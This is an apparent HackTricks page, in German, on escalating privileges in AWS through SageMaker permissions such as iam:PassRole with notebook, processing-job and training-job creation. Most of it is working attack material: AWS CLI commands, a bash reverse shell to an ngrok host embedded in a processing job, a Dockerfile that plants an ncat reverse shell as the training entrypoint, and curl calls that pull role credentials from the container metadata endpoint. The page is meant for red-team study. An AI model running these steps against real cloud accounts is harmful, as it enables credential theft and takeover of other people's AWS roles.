AWS - Sagemaker Privesc

Reading time: 5 minutes

AWS - Sagemaker Privesc

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Beginnen Sie mit der Erstellung eines Notebooks mit der IAM-Rolle, die daran angehängt ist:

bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Die Antwort sollte ein Feld NotebookInstanceArn enthalten, das die ARN der neu erstellten Notizbuchinstanz enthält. Wir können dann die API create-presigned-notebook-instance-url verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notizbuchinstanz zuzugreifen, sobald sie bereit ist:

bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigiere zur URL mit dem Browser und klicke auf `Open JupyterLab` in der oberen rechten Ecke, scrolle dann zum Tab “Launcher” und klicke im Abschnitt “Other” auf die Schaltfläche “Terminal”.

Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzugreifen.

Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.

sagemaker:CreatePresignedNotebookInstanceUrl

Wenn bereits Jupyter Notebooks darauf laufen und du sie mit sagemaker:ListNotebookInstances auflisten kannst (oder sie auf andere Weise entdecken kannst). Du kannst eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben.

bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potenzielle Auswirkungen: Privesc auf die mit der sagemaker-Dienstrolle verbundene Rolle.

sagemaker:CreateProcessingJob,iam:PassRole

Ein Angreifer mit diesen Berechtigungen kann sagemaker einen Processing-Job ausführen lassen, der mit einer sagemaker-Rolle verbunden ist. Der Angreifer kann die Definition des Containers angeben, der in einer AWS verwalteten ECS-Kontoinstanz ausgeführt wird, und die Anmeldeinformationen der angehängten IAM-Rolle stehlen.

bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.

sagemaker:CreateTrainingJob, iam:PassRole

Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, einen beliebigen Container darauf ausführen und eine angehängte Rolle verwenden. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.

warning

Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die Rev-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).

# Docker-Image erstellen
mkdir /tmp/rev
## Beachten Sie, dass der Trainingsjob ein ausführbares Programm namens "train" aufrufen wird
## Deshalb lege ich die Rev-Shell in /bin/train
## Setzen Sie die Werte von <YOUR-IP-OR-DOMAIN> und <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Hochladen zu ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
bash
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Potenzielle Auswirkungen: Privesc auf die angegebene sagemaker-Dienstrolle.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen Hyperparameter-Trainingsjob zu erstellen, einen beliebigen Container darauf auszuführen und eine angehängte Rolle zu verwenden.
Ich habe es aufgrund von Zeitmangel nicht ausgenutzt, aber es sieht ähnlich aus wie die vorherigen Exploits. Fühlen Sie sich frei, einen PR mit den Ausnutzungsdetails zu senden.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks